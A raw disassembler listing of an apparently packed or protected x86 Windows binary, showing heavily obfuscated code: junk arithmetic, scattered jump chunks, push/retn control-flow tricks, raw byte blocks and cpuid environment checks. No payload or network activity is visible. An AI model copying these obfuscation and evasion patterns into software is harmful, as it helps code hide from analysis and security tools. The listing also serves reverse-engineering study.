FUNCTION CHUNK FOR sub_426842 ; =============== S U B R O U T I N E ======================================= sub_429706 proc near ; CODE XREF: wto1jq8f:00427461p mov [esp+0], ecx pop ecx pop ecx pop ebp retn sub_429706 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42970D proc near ; CODE XREF: wto1jq8f:0042745Cp ; FUNCTION CHUNK AT 0042ABC5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F9D7 SIZE 00000004 BYTES push ebp jmp loc_42ABC5 sub_42970D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_429713: ; DATA XREF: sub_425CE2:loc_42AB18o mov [esp], ecx push 7C2F30A6h pop ecx add ecx, 8413A526h mov [ecx], eax pop ecx jmp loc_42CCCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE77 loc_42972A: ; CODE XREF: sub_42DE77+5j push 4FF286D6h mov eax, offset loc_42973D xchg eax, [esp+4+var_4] retn ; END OF FUNCTION CHUNK FOR sub_42DE77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D22D loc_429738: ; CODE XREF: sub_42D22D+Cj jmp loc_42AF90 ; END OF FUNCTION CHUNK FOR sub_42D22D ; --------------------------------------------------------------------------- loc_42973D: ; DATA XREF: sub_42DE77-4748o xor eax, 4FF286D7h shl eax, cl mov edx, [ebp-20h] jmp loc_42ACD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42974D: ; CODE XREF: sub_427D00:loc_42BBB9j mov ecx, [ebp-18h] and ecx, 7 loc_429753: ; CODE XREF: sub_429BD3:loc_428A41j mov al, 1 shl al, cl jmp loc_42F272 ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- loc_42975C: ; CODE XREF: wto1jq8f:0042781Bj ; wto1jq8f:00427828j mov esp, ebp xchg edx, [esp] push edx pop ebp jmp loc_42ACCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_429768: ; CODE XREF: sub_42DC5C:loc_42B9C6j jz loc_42EC39 jmp loc_42DFC3 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_429773: ; CODE XREF: wto1jq8f:0042D7E3j shr esi, 9 mov ecx, 0DA74ED11h xor edi, 19CE6EE1h ; START OF FUNCTION CHUNK FOR sub_426FD6 loc_429781: ; CODE XREF: sub_426FD6+14j add eax, 818414A5h xor ebx, ebx xor ecx, ecx xor edx, edx jmp loc_425F26 ; END OF FUNCTION CHUNK FOR sub_426FD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429792: ; CODE XREF: sub_426535+5DBj add esi, ebx cdq shr ecx, 0Fh jmp loc_42DF1A ; END OF FUNCTION CHUNK FOR sub_426535 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42979E: ; CODE XREF: sub_42C6C3-1455j jmp loc_428E74 ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4297A3: ; CODE XREF: sub_426535+18D5j cmp esi, edi jmp loc_425D85 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_4297AA: ; DATA XREF: sub_425B8C:loc_42EBC0o pop ebp push 8BA0485h pop eax sub eax, 6549B7D8h xor eax, 0C5331827h add eax, 99FF90AAh jmp loc_424364 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_4297C8: ; CODE XREF: sub_42ADC7-35B4j jb loc_428E6E push eax push 100h lea eax, [ebp-2C8h] push eax push 4C91A0h mov eax, [ebp-10h] push eax jmp loc_426931 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_4297E9: ; CODE XREF: wto1jq8f:0042D00Dj jb loc_42A7D6 popf xor edi, eax push 4646BCEAh pop eax or eax, 0C407C2D4h add eax, 83673FF5h add eax, ebp jmp loc_42769F ; --------------------------------------------------------------------------- db 0Fh db 85h ; … db 57h ; W db 0D5h ; Õ db 0FFh db 0FFh db 0E9h ; é db 0FDh ; ý db 12h db 0 db 0 ; --------------------------------------------------------------------------- loc_429816: ; DATA XREF: wto1jq8f:00425D7Bo push 0AF237DB8h pop eax sub eax, 241D1F7Dh or eax, 0B476DAACh add eax, 0F1A97BA5h add eax, ebp jmp loc_42A4B8 ; --------------------------------------------------------------------------- loc_429835: ; DATA XREF: wto1jq8f:0042BE39o add ebx, 90451DFFh xchg ebx, [esp] jmp loc_42ED7C ; --------------------------------------------------------------------------- loc_429843: ; CODE XREF: wto1jq8f:loc_42CE64j mov eax, 52h call sub_4282EB loc_42984D: ; CODE XREF: wto1jq8f:0042D205j jmp loc_42E17F ; --------------------------------------------------------------------------- loc_429852: ; CODE XREF: wto1jq8f:0042C1BAj jmp loc_427718 ; --------------------------------------------------------------------------- loc_429857: ; CODE XREF: wto1jq8f:0042A138j push offset loc_42842B jmp locret_42BBB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260A9 loc_429861: ; CODE XREF: sub_4260A9:loc_428688j xor edx, edx jmp loc_42778D ; END OF FUNCTION CHUNK FOR sub_4260A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_429868: ; CODE XREF: sub_425CE2+1j add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 mov eax, [eax] add eax, [ebp-4] jmp loc_429263 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- loc_42987C: ; DATA XREF: sub_4287DA+1o mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_42ACE4 jmp loc_42C068 ; --------------------------------------------------------------------------- call sub_42A289 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp locret_428F4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_429898: ; CODE XREF: sub_42ADC7-4EFAj ror ebx, 15h mov edx, 80979406h jmp loc_426BCB ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_4298A5: ; CODE XREF: wto1jq8f:00429E36j add eax, 7D0h mov [ebp-8], eax push 8939F545h xor dword ptr [esp], 8939F547h push 0 push 88FC08C9h add dword ptr [esp], 7703F737h jmp loc_42E706 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_4298CC: ; CODE XREF: sub_42750A+B17j ; wto1jq8f:0042D1A0j add eax, 564BA979h mov eax, [eax] or eax, eax jnz loc_4268F1 jmp loc_427CF5 ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- loc_4298E1: ; CODE XREF: wto1jq8f:loc_42A4A0j jz loc_4295D6 jmp loc_42C345 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_4298ED: ; CODE XREF: sub_4262F5+12j cpuid and eax, 0FFFh add [esi], eax xor [esi], edx mov eax, 80000000h cpuid cmp eax, 80000000h jbe loc_4248DF jmp loc_429D23 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; --------------------------------------------------------------------------- jnb loc_42BD85 jmp loc_42F99B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42991A: ; CODE XREF: sub_426535+69j ; wto1jq8f:0042AB80j mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] mov eax, [eax+18h] loc_429929: ; CODE XREF: wto1jq8f:loc_42D6C4j dec eax jmp loc_42AF7D ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42992F proc near ; CODE XREF: sub_42B855:loc_42E63Aj var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp call near ptr loc_42FE4B+1 loc_429937: ; DATA XREF: sub_42E541-58E3o jnz loc_42AC2F mov eax, [ebp+arg_0] or dword ptr [eax-8], 4 mov eax, [ebp+var_4] movzx eax, byte ptr [eax] mov edx, [ebp+arg_0] mov [edx-18h], eax call sub_42B12A jmp sub_42885C sub_42992F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD35 loc_42995A: ; CODE XREF: sub_42CD35+9j jmp loc_42E3AD ; END OF FUNCTION CHUNK FOR sub_42CD35 ; --------------------------------------------------------------------------- loc_42995F: ; CODE XREF: wto1jq8f:004259A9j jmp sub_4266EF ; --------------------------------------------------------------------------- mov edx, 0A70158B4h call sub_429165 push eax loc_42996F: ; CODE XREF: wto1jq8f:loc_427271j rol eax, 18h call sub_42C670 loc_429977: ; CODE XREF: wto1jq8f:00427401j jmp locret_424FDC ; --------------------------------------------------------------------------- sbb ebx, eax mov [eax], esi xchg ebp, esi jmp loc_42B872 ; --------------------------------------------------------------------------- shl esi, 14h and eax, 81ED0A8Fh loc_429990: ; CODE XREF: wto1jq8f:loc_42857Fj mov eax, [ebp-4] mov eax, [eax] jmp loc_428039 ; --------------------------------------------------------------------------- loc_42999A: ; CODE XREF: wto1jq8f:0042EAABj push ecx push 0D6363DB7h pop ecx xor ecx, 0FC2FD1A2h and ecx, 3FC060A3h call sub_42C21B ; --------------------------------------------------------------------------- db 0Fh db 85h ; … db 0D0h ; Ð db 45h ; E db 0 db 0 db 0E9h ; é db 0FFh db 0Fh db 0 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4299BE: ; CODE XREF: wto1jq8f:loc_424B56j or edx, 43C10C28h jns loc_427873 adc edx, ecx sbb ecx, 0FFEA7CDEh add eax, 2B5DA642h jmp loc_427873 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 9 dd 6215E9h db 0 ; --------------------------------------------------------------------------- loc_4299E5: ; CODE XREF: wto1jq8f:00425B2Cj jnz loc_42471C ; =============== S U B R O U T I N E ======================================= sub_4299EB proc near ; CODE XREF: wto1jq8f:0042AC5Dp mov [esp+0], eax pop eax pop esi retn sub_4299EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4299F1: ; CODE XREF: wto1jq8f:00429128j jmp loc_4242C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_4299F6: ; CODE XREF: sub_42DC5C:loc_42DF6Ej ror eax, 19h jmp loc_42E63F ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- mov edx, edi rol esi, 12h shr ebx, 4 not ebp jmp loc_42FA61 ; --------------------------------------------------------------------------- loc_429A0D: ; DATA XREF: wto1jq8f:0042DAB4o add eax, 484F6F11h push 42FDD4h jmp loc_42E6E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_429A1D: ; CODE XREF: sub_425944+1185j add esp, 8 mov [ebp-4], eax jmp loc_42E53C ; END OF FUNCTION CHUNK FOR sub_425944 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A28 proc near ; CODE XREF: sub_425944+Dp ; sub_425944+21B8p var_20 = dword ptr -20h push ebp mov ebp, esp add esp, 0FFFFFFD8h mov [ebp+var_20], eax push offset sub_42D44C jmp loc_42DCDA sub_429A28 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C18 loc_429A3C: ; CODE XREF: sub_429C18+354Ej cmp ebx, ecx jmp loc_42C26D ; END OF FUNCTION CHUNK FOR sub_429C18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_429A43: ; CODE XREF: sub_425F4F+1FBBj jnz loc_427EF6 retn ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- loc_429A4A: ; CODE XREF: wto1jq8f:0042700Dj jmp loc_429337 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_429A4F: ; CODE XREF: sub_425F4F:loc_427EF6j sub ebx, 10000h mov eax, [ebx] loc_429A57: ; CODE XREF: sub_425F4F:loc_42EAC0j neg eax cmp ax, 0A5B3h jnz loc_427EF6 jmp loc_42B8D9 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- dd 0A911ED81h, 0BAE96A9Bh db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- locret_429A73: ; CODE XREF: wto1jq8f:00427D77j retn ; --------------------------------------------------------------------------- push esi jmp near ptr sub_428310 ; --------------------------------------------------------------------------- push 7A32DB3Dh pop edx add edx, 860FD1B3h mov [edx], eax pop edx xor eax, eax mov [ebp-4], eax jmp loc_4282E6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429A94: ; CODE XREF: wto1jq8f:loc_424ACEj jmp loc_429293 ; =============== S U B R O U T I N E ======================================= sub_429A99 proc near ; CODE XREF: sub_427198+Dj ; FUNCTION CHUNK AT 0042F0B8 SIZE 00000008 BYTES push ebp push 6BCF9032h pop eax or eax, 0C92E5ECEh add eax, 1452CE02h push offset loc_42875D jmp loc_42F0B8 sub_429A99 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_429AB6: ; CODE XREF: sub_42D9FC-897Cj add eax, 47892A72h add eax, ebp add eax, 31DF1B2Ch mov eax, [eax] mov dword ptr [ebp+eax*4-70h], 73257325h jmp loc_4246C5 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- loc_429AD3: ; CODE XREF: wto1jq8f:0042C9A5j push 835E9DAEh pop ecx xor ecx, 0C324E486h popf adc eax, ecx pop ecx jmp loc_424C68 ; =============== S U B R O U T I N E ======================================= sub_429AE8 proc near ; CODE XREF: sub_4260DB+57E6p ; FUNCTION CHUNK AT 00424C10 SIZE 0000001E BYTES xchg eax, [esp+0] pop eax add eax, 9C8BFECh add eax, ebp add eax, 40887D73h push eax push 0A1D557EFh pop eax jmp loc_424C10 sub_429AE8 endp ; --------------------------------------------------------------------------- loc_429B06: ; CODE XREF: wto1jq8f:00424171j sub edi, ecx jmp loc_427F39 ; --------------------------------------------------------------------------- loc_429B0D: ; CODE XREF: wto1jq8f:0042E0B5j or ecx, ecx jz loc_42F9B4 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jmp loc_429C4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AEA4 loc_429B20: ; CODE XREF: sub_42AEA4+15j xchg edi, [esp+0] jmp loc_426E20 ; END OF FUNCTION CHUNK FOR sub_42AEA4 ; --------------------------------------------------------------------------- adc ecx, 61BE78E3h jmp loc_42B2A2 ; --------------------------------------------------------------------------- loc_429B33: ; CODE XREF: wto1jq8f:00426F47j jb loc_42B1CD ; =============== S U B R O U T I N E ======================================= sub_429B39 proc near ; CODE XREF: sub_426D89+1p xchg ebx, [esp+0] pop ebx push 3DAF8BDEh mov eax, offset loc_4259A0 xchg eax, [esp+0] jmp nullsub_11 sub_429B39 endp ; --------------------------------------------------------------------------- jnp loc_42B2EE jnb loc_42F892 jmp loc_42FC50 ; --------------------------------------------------------------------------- locret_429B60: ; CODE XREF: wto1jq8f:0042DAB9j retn ; --------------------------------------------------------------------------- loc_429B61: ; CODE XREF: wto1jq8f:0042B3F5j jmp loc_4278D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429B66: ; CODE XREF: sub_426535:loc_4265A4j push ds:dword_42FB5C retn ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_429B6D proc near ; CODE XREF: sub_42B02D+37Dp ; sub_42B02D+49Ap ; FUNCTION CHUNK AT 00429E6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B21A SIZE 00000014 BYTES mov eax, cs xor al, al jmp loc_42B21A sub_429B6D endp ; --------------------------------------------------------------------------- word_429B76 dw 0E850h ; DATA XREF: wto1jq8f:loc_42B7ADo ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 29h, 2 dup(0) dd 0F47D83h, 0A5FD840Fh, 458BFFFFh, 685750F4h, 0B71B534Fh dd 54C3E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_429B95: ; CODE XREF: sub_427143+766Ej jo near ptr loc_42EE1B+1 test ebp, 1AE671DCh jmp loc_42FB71 ; END OF FUNCTION CHUNK FOR sub_427143 ; =============== S U B R O U T I N E ======================================= sub_429BA6 proc near ; CODE XREF: wto1jq8f:0042771Ep ; wto1jq8f:0042C10Aj arg_0 = dword ptr 4 mov [esp+0], ecx pop ecx mov ebx, [ebx] xchg ebx, [esp-4+arg_0] retn sub_429BA6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_42AE39 ; --------------------------------------------------------------------------- loc_429BB5: ; CODE XREF: wto1jq8f:loc_428B00j mov esi, eax xchg esi, [esp] call near ptr loc_42FB2B+4 push eax push 7B4376B4h pop eax and eax, 4D1F7B7Dh jmp loc_42742B ; --------------------------------------------------------------------------- loc_429BD1: ; CODE XREF: wto1jq8f:00427954j xor esi, edx ; =============== S U B R O U T I N E ======================================= sub_429BD3 proc near ; CODE XREF: sub_4296B3+8p var_18 = dword ptr -18h ; FUNCTION CHUNK AT 004242BB SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00424C4C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00425BF3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00427D21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042837A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00428A41 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042B9B4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D3E8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042D7F7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042E9A3 SIZE 0000000D BYTES mov [esp+18h+var_18], ebx pop ebx cmp dword ptr [ebp-0Ch], 0 jz loc_424C4C jmp loc_427D21 sub_429BD3 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_429BE7: ; CODE XREF: sub_42A88D+14j jmp loc_427777 ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_429BEC: ; CODE XREF: sub_425CE2+3264j ; wto1jq8f:loc_42A64Dj lea eax, [ebp-14h] push eax call sub_42D910 push 25BA0E01h jmp loc_42E1CD ; END OF FUNCTION CHUNK FOR sub_425CE2 ; =============== S U B R O U T I N E ======================================= sub_429BFF proc far ; CODE XREF: sub_42821F+59Ep var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042438C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00424949 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425F21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C32 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00426DA6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427A88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428918 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042900A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B244 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042B99D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BC75 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042BEC0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042C8B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CCDE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D01C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042D2A2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D633 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042D73B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042D8D3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DA1A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042E589 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F2E7 SIZE 00000026 BYTES xchg eax, [esp+0] mov eax, [esp+0] call sub_429642 cmp eax, 0FFFFFFFFh jz loc_42D73B jmp loc_42B99D sub_429BFF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_429C18 proc near ; DATA XREF: sub_42E4EA+7o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427792 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429A3C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429EAB SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042C26D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D15B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042DBD2 SIZE 00000005 BYTES call sub_42D35A test al, al jnz loc_4245A1 mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jmp loc_42D15B sub_429C18 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429C31: ; CODE XREF: wto1jq8f:00426639j add dword ptr [esi], 0F80586h push 3414D002h pop eax loc_429C3D: ; CODE XREF: wto1jq8f:loc_42B319j add eax, 0CBEB2FFEh cpuid jmp loc_42C542 ; --------------------------------------------------------------------------- loc_429C4A: ; CODE XREF: wto1jq8f:00429B1Bj call sub_426461 ; START OF FUNCTION CHUNK FOR sub_427D82 loc_429C4F: ; CODE XREF: sub_427D82-3685j jno loc_42B543 loc_429C55: ; CODE XREF: sub_427D82:loc_426F76j call sub_424585 mov edx, 0CE3062ECh loc_429C5F: ; CODE XREF: wto1jq8f:loc_426645j call sub_429165 push eax rol eax, 0Eh jmp loc_42B215 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- pop ebp jmp sub_429CC7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429C74: ; CODE XREF: wto1jq8f:00428706j jmp loc_4265DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260A9 loc_429C79: ; CODE XREF: sub_4260A9+11j jmp loc_42EC9D ; END OF FUNCTION CHUNK FOR sub_4260A9 ; --------------------------------------------------------------------------- loc_429C7E: ; DATA XREF: sub_42CF00+9o test al, al jnz locret_426431 jmp loc_42B146 ; --------------------------------------------------------------------------- db 8Bh dd 0DE6C1E9h, 5CB2E9h, 0FC08400h, 0FFE14684h, 0FF0EE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_429CA2: ; CODE XREF: wto1jq8f:004244DFj retn ; --------------------------------------------------------------------------- loc_429CA3: ; CODE XREF: wto1jq8f:0042968Bj jmp loc_42839A ; --------------------------------------------------------------------------- dword_429CA8 dd 62074D68h, 0C0815869h, 0EAF3B7B2h, 8CFAE081h, 0F081551Dh ; DATA XREF: sub_42501F+19o dd 1AAA401Fh, 3AE9C503h db 0E5h, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_429CC7 proc near ; CODE XREF: wto1jq8f:00429C6Ej ; wto1jq8f:loc_42CF2Bp arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg ebx, [esp-4+arg_0] mov ebp, ebx pop ebx retn sub_429CC7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_429CD2: ; CODE XREF: wto1jq8f:004261B7j jmp near ptr loc_42F128+2 ; --------------------------------------------------------------------------- loc_429CD7: ; DATA XREF: sub_42B276:loc_4281ABo call near ptr sub_42CB36 test al, al jz loc_429CEB call nullsub_157 retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429CEB: ; CODE XREF: wto1jq8f:00429CDEj call near ptr sub_42CB36 jmp loc_4270F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_429CF6: ; CODE XREF: wto1jq8f:0042599Bj retn ; --------------------------------------------------------------------------- xor esi, 0D4ACF132h jmp loc_42760D ; --------------------------------------------------------------------------- loc_429D02: ; DATA XREF: sub_427218+12o mov eax, [ebp+8] call sub_427F8F push 0D411C214h mov [esp], edi mov [esp], eax rol eax, 6 loc_429D18: ; CODE XREF: wto1jq8f:0042A684j push ebx push offset sub_426C9F jmp loc_427CAE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_429D23: ; CODE XREF: sub_4262F5+3615j ja loc_42B125 jmp loc_4273E5 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; --------------------------------------------------------------------------- loc_429D2E: ; DATA XREF: sub_427694+1o mov ebp, esp push ecx cmp ds:dword_429558, 0 jnz loc_42C5BB jmp loc_424F75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_429D43: ; CODE XREF: sub_42B276:loc_427101j jnz loc_42819A jmp loc_42F6DD ; END OF FUNCTION CHUNK FOR sub_42B276 ; =============== S U B R O U T I N E ======================================= sub_429D4E proc far ; CODE XREF: sub_4260DB+616Cp ; sub_42DC5C+BAj ; FUNCTION CHUNK AT 00426F1A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042E696 SIZE 00000005 BYTES mov [esp+0], edi pop edi add eax, 0D0906B8Eh mov dword ptr [eax], 70736957h lea eax, [ebp-1Ch] mov dword ptr [eax], 646E6957h lea eax, [ebp-18h] mov dword ptr [eax], 6C43776Fh jmp loc_426F1A sub_429D4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebp, offset nullsub_160 xchg ebp, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247C1 loc_429D7E: ; CODE XREF: sub_4247C1+Ej jmp nullsub_12 ; END OF FUNCTION CHUNK FOR sub_4247C1 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_429D86: ; CODE XREF: sub_42D9D9:loc_42A878j mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_42699F ; --------------------------------------------------------------------------- loc_429D96: ; CODE XREF: sub_42D9D9:loc_42D9E7j cmp dword ptr [ebp-1Ch], 66h jnz loc_42676E jmp loc_424B66 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- test al, al jz loc_42446E jmp loc_4271D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_429DB2: ; CODE XREF: sub_42DC5C-92D9j jns loc_42D260 add ebp, ebx push edx loc_429DBB: ; CODE XREF: wto1jq8f:loc_42A432j push offset byte_427525 jmp loc_42A578 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429DC5: ; CODE XREF: sub_426535+63j sub eax, 8916BF83h jns loc_42B772 ; END OF FUNCTION CHUNK FOR sub_426535 ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_429DD1: ; CODE XREF: sub_425CE2+6B9Cj jmp loc_4250CA ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- sbb edx, ebp adc esi, 0BAE7E174h loc_429DDE: ; CODE XREF: wto1jq8f:loc_4283DCj jb loc_42E67F jmp loc_42B76A ; --------------------------------------------------------------------------- jz loc_42C2F7 jmp loc_42F2E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_429DF4: ; CODE XREF: sub_424BF9+752Bj rol eax, 15h jmp loc_42DA75 ; END OF FUNCTION CHUNK FOR sub_424BF9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429DFC proc near ; CODE XREF: sub_424BF9j push ebp mov ebp, esp mov esp, ebp pop ebp push offset sub_42AA04 jmp nullsub_13 sub_429DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429E0C proc near ; CODE XREF: sub_426535+1F64j retn sub_429E0C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429E0D: ; CODE XREF: sub_426535:loc_4280A8j jz loc_42A179 jmp loc_42C66B ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_429E18: ; CODE XREF: wto1jq8f:00424289j jg loc_42EC04 ; START OF FUNCTION CHUNK FOR sub_4244EA loc_429E1E: ; CODE XREF: sub_4244EA:loc_42D7A8j add eax, 0B03159E7h push ecx push 0E599B3Ch pop ecx xor ecx, 7FA92EFAh jmp loc_42DF97 ; END OF FUNCTION CHUNK FOR sub_4244EA ; 